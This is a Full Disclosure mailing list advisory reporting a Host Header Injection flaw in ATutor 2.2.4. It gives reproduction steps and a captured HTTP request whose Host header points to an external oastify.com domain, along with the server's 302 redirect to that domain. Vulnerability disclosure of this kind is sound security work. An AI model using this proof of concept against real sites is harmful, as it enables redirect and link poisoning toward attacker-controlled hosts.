full-disclosure - [FD] Host Header Injection

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Message-ID: <CAF2Wu1Ys=Km6=fvAcwrq7xF_bn83kKEe6YBarm=8BeXMuA7Ygg@mail.gmail.com>
Date: Tue, 21 Jan 2025 17:30:09 +0000
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Host Header Injection - atutorv2.2.4

# Exploit Title: Host Header Injection - atutorv2.2.4
# Date: 01/2025
# Exploit Author: Andrey Stoykov
# Version: 2.2.4
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2025/01/friday-fun-pentest-series-18-host.html

Description:

- It was found that the application had a Host Header Injection
vulnerability.

Host Header Injection #1:

Steps to Reproduce:

1. Visit specific page of the application
2. Intercept the HTTP GET/POST request
3. Modify the Host header to a domain of attackers choice
4. Forward the HTTP request

// HTTP GET request

GET /atutor/bounce.php?course=0 HTTP/1.1
Host: yz13ej73z3j9dnnv3rt0yxqeg5mwauyj.oastify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0)
Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.1.110/atutor/login.php
Connection: keep-alive
Cookie: ATutorID=oukcasgb86k60mefasc36joje4; flash=no
Upgrade-Insecure-Requests: 1
Priority: u=0, i

// HTTP response

HTTP/1.1 302 Found
Date: Thu, 09 Jan 2025 18:55:35 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Set-Cookie: ATutorID=nl8ahpeo2tsd0mc4d2a0br4a94; path=/atutor/; HttpOnly
Set-Cookie: ATutorID=nl8ahpeo2tsd0mc4d2a0br4a94; path=/atutor/; HttpOnly
Set-Cookie: flash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: nexthelp_cookie=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
Max-Age=0; path=/
Location:
http://yz13ej73z3j9dnnv3rt0yxqeg5mwauyj.oastify.com/atutor/login.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
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